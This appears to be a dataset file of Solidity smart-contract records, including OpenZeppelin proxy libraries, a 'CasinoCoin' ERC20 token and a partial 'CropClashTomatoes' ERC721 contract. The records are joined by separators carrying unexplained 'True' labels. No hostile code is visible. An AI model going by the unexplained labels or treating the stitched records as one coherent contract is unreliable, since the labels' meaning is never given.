* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
pragma solidity ^0.8.2;
/**
* @dev This abstract contract provides getters and event emitting update functions for
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots.
*
* _Available since v4.1._
*
* @custom:oz-upgrades-unsafe-allow delegatecall
*/
abstract contract ERC1967Upgrade {
// This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);
/**
* @dev Returns the current implementation address.
*/
function _getImplementation() internal view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 implementation slot.
*/
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
}
/**
* @dev Perform implementation upgrade
*
* Emits an {Upgraded} event.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Perform implementation upgrade with additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCall(address newImplementation, bytes memory data, bool forceCall) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
}
/**
* @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCallSecure(address newImplementation, bytes memory data, bool forceCall) internal {
address oldImplementation = _getImplementation();
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
// Perform rollback test if not already in progress
StorageSlot.BooleanSlot storage rollbackTesting = StorageSlot.getBooleanSlot(_ROLLBACK_SLOT);
if (!rollbackTesting.value) {
// Trigger rollback using upgradeTo from the new implementation
rollbackTesting.value = true;
Address.functionDelegateCall(
newImplementation,
abi.encodeWithSignature(
"upgradeTo(address)",
oldImplementation
)
);
rollbackTesting.value = false;
// Check rollback was effective
require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades");
// Finally reset to the new implementation and log the upgrade
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
}
/**
* @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does
* not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that).
*
* Emits a {BeaconUpgraded} event.
*/
function _upgradeBeaconToAndCall(address newBeacon, bytes memory data, bool forceCall) internal {
_setBeacon(newBeacon);
emit BeaconUpgraded(newBeacon);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(IBeacon(newBeacon).implementation(), data);
}
}
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Emitted when the admin account has changed.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Returns the current admin.
*/
function _getAdmin() internal view returns (address) {
return StorageSlot.getAddressSlot(_ADMIN_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 admin slot.
*/
function _setAdmin(address newAdmin) private {
require(newAdmin != address(0), "ERC1967: new admin is the zero address");
StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*/
function _changeAdmin(address newAdmin) internal {
emit AdminChanged(_getAdmin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy.
* This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor.
*/
bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
/**
* @dev Emitted when the beacon is upgraded.
*/
event BeaconUpgraded(address indexed beacon);
/**
* @dev Returns the current beacon.
*/
function _getBeacon() internal view returns (address) {
return StorageSlot.getAddressSlot(_BEACON_SLOT).value;
}
/**
* @dev Stores a new beacon in the EIP1967 beacon slot.
*/
function _setBeacon(address newBeacon) private {
require(
Address.isContract(newBeacon),
"ERC1967: new beacon is not a contract"
);
require(
Address.isContract(IBeacon(newBeacon).implementation()),
"ERC1967: beacon implementation is not a contract"
);
StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon;
}
}
pragma solidity ^0.8.0;
/**
* @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an
* implementation address that can be changed. This address is stored in storage in the location specified by
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the
* implementation behind the proxy.
*/
contract ERC1967Proxy is Proxy, ERC1967Upgrade {
/**
* @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
*
* If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded
* function call, and allows initializating the storage of the proxy like a Solidity constructor.
*/
constructor(address _logic, bytes memory _data) payable {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
_upgradeToAndCall(_logic, _data, false);
}
/**
* @dev Returns the current implementation address.
*/
function _implementation() internal view virtual override returns (address impl) {
return ERC1967Upgrade._getImplementation();
}
}
pragma solidity ^0.8.0;
/**
* @dev This contract implements a proxy that is upgradeable by an admin.
*
* To avoid https://medium.com/nomic-labs-blog/malicious-backdoors-in-ethereum-proxies-62629adf3357[proxy selector
* clashing], which can potentially be used in an attack, this contract uses the
* https://blog.openzeppelin.com/the-transparent-proxy-pattern/[transparent proxy pattern]. This pattern implies two
* things that go hand in hand:
*
* 1. If any account other than the admin calls the proxy, the call will be forwarded to the implementation, even if
* that call matches one of the admin functions exposed by the proxy itself.
* 2. If the admin calls the proxy, it can access the admin functions, but its calls will never be forwarded to the
* implementation. If the admin tries to call a function on the implementation it will fail with an error that says
* "admin cannot fallback to proxy target".
*
* These properties mean that the admin account can only be used for admin actions like upgrading the proxy or changing
* the admin, so it's best if it's a dedicated account that is not used for anything else. This will avoid headaches due
* to sudden errors when trying to call a function from the proxy implementation.
*
* Our recommendation is for the dedicated account to be an instance of the {ProxyAdmin} contract. If set up this way,
* you should think of the `ProxyAdmin` instance as the real administrative interface of your proxy.
*/
contract TransparentUpgradeableProxy is ERC1967Proxy {
/**
* @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and
* optionally initialized with `_data` as explained in {ERC1967Proxy-constructor}.
*/
constructor(address _logic, address admin_, bytes memory _data) payable ERC1967Proxy(_logic, _data) {
assert(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1));
_changeAdmin(admin_);
}
/**
* @dev Modifier used internally that will delegate the call to the implementation unless the sender is the admin.
*/
modifier ifAdmin() {
if (msg.sender == _getAdmin()) {
_;
} else {
_fallback();
}
}
/**
* @dev Returns the current admin.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyAdmin}.
*
* TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
* https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.
* `0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103`
*/
function admin() external ifAdmin returns (address admin_) {
admin_ = _getAdmin();
}
/**
* @dev Returns the current implementation.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyImplementation}.
*
* TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
* https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.
* `0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc`
*/
function implementation() external ifAdmin returns (address implementation_) {
implementation_ = _implementation();
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-changeProxyAdmin}.
*/
function changeAdmin(address newAdmin) external virtual ifAdmin {
_changeAdmin(newAdmin);
}
/**
* @dev Upgrade the implementation of the proxy.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-upgrade}.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeToAndCall(newImplementation, bytes(""), false);
}
/**
* @dev Upgrade the implementation of the proxy, and then call a function from the new implementation as specified
* by `data`, which should be an encoded function call. This is useful to initialize new storage variables in the
* proxied contract.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-upgradeAndCall}.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin {
_upgradeToAndCall(newImplementation, data, true);
}
/**
* @dev Returns the current admin.
*/
function _admin() internal view virtual returns (address) {
return _getAdmin();
}
/**
* @dev Makes sure the admin cannot access the fallback function. See {Proxy-_beforeFallback}.
*/
function _beforeFallback() internal virtual override {
require(msg.sender != _getAdmin(), "TransparentUpgradeableProxy: admin cannot fallback to proxy target");
super._beforeFallback();
}
}
contract OceidonBloxUpgradeableProxy is TransparentUpgradeableProxy {
constructor(address logic, address admin) TransparentUpgradeableProxy(logic, admin, '') public {
}
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|
pragma solidity ^0.5.17;
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
//
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Safe Math Library
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0);
c = a / b;
}
}
contract CasinoCoin is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor() public {
name = "CasinoCoin Phase 0";
symbol = "CSIN0";
decimals = 18;
_totalSupply = 1000000000000000000000;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
} | True | [
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|
// ----------------------------------------------------------------------------
// --- Name : CropClashTomatoes - ["Crop Clash"]
// --- Type : NFT ERC721
// --- Symbol : Format - {"CROP"}
// --- Total supply: Generated from minter
// --- @dev pragma solidity version:0.8.9+commit.e5eed63a
// --- SPDX-License-Identifier: MIT
// ----------------------------------------------------------------------------
pragma solidity ^0.8.9;
// ----------------------------------------------------------------------------
// --- IERC Interfaces
// ----------------------------------------------------------------------------
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
interface IERC721Enumerable is IERC721 {
function totalSupply() external view returns (uint256);
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
function tokenByIndex(uint256 index) external view returns (uint256);
}
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
interface IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// ----------------------------------------------------------------------------
// --- Libarary Address
// ----------------------------------------------------------------------------
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// ----------------------------------------------------------------------------
// --- Libarary Strings
// ----------------------------------------------------------------------------
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// ----------------------------------------------------------------------------
// --- Contract ERC165
// ----------------------------------------------------------------------------
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// ----------------------------------------------------------------------------
// --- Contract Context
// ----------------------------------------------------------------------------
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// ----------------------------------------------------------------------------
// --- Contract ERC721
// ----------------------------------------------------------------------------
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
string private _name;
string private _symbol;
mapping(uint256 => address) private _owners;
mapping(address => uint256) private _balances;
mapping(uint256 => address) private _tokenApprovals;
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
function _baseURI() internal view virtual returns (string memory) {
return "";
}
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// ----------------------------------------------------------------------------
// --- Contract ERC721Enumerable
// ----------------------------------------------------------------------------
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
mapping(uint256 => uint256) private _ownedTokensIndex;
uint256[] private _allTokens;
mapping(uint256 => uint256) private _allTokensIndex;
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId;
_ownedTokensIndex[lastTokenId] = tokenIndex;
}
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
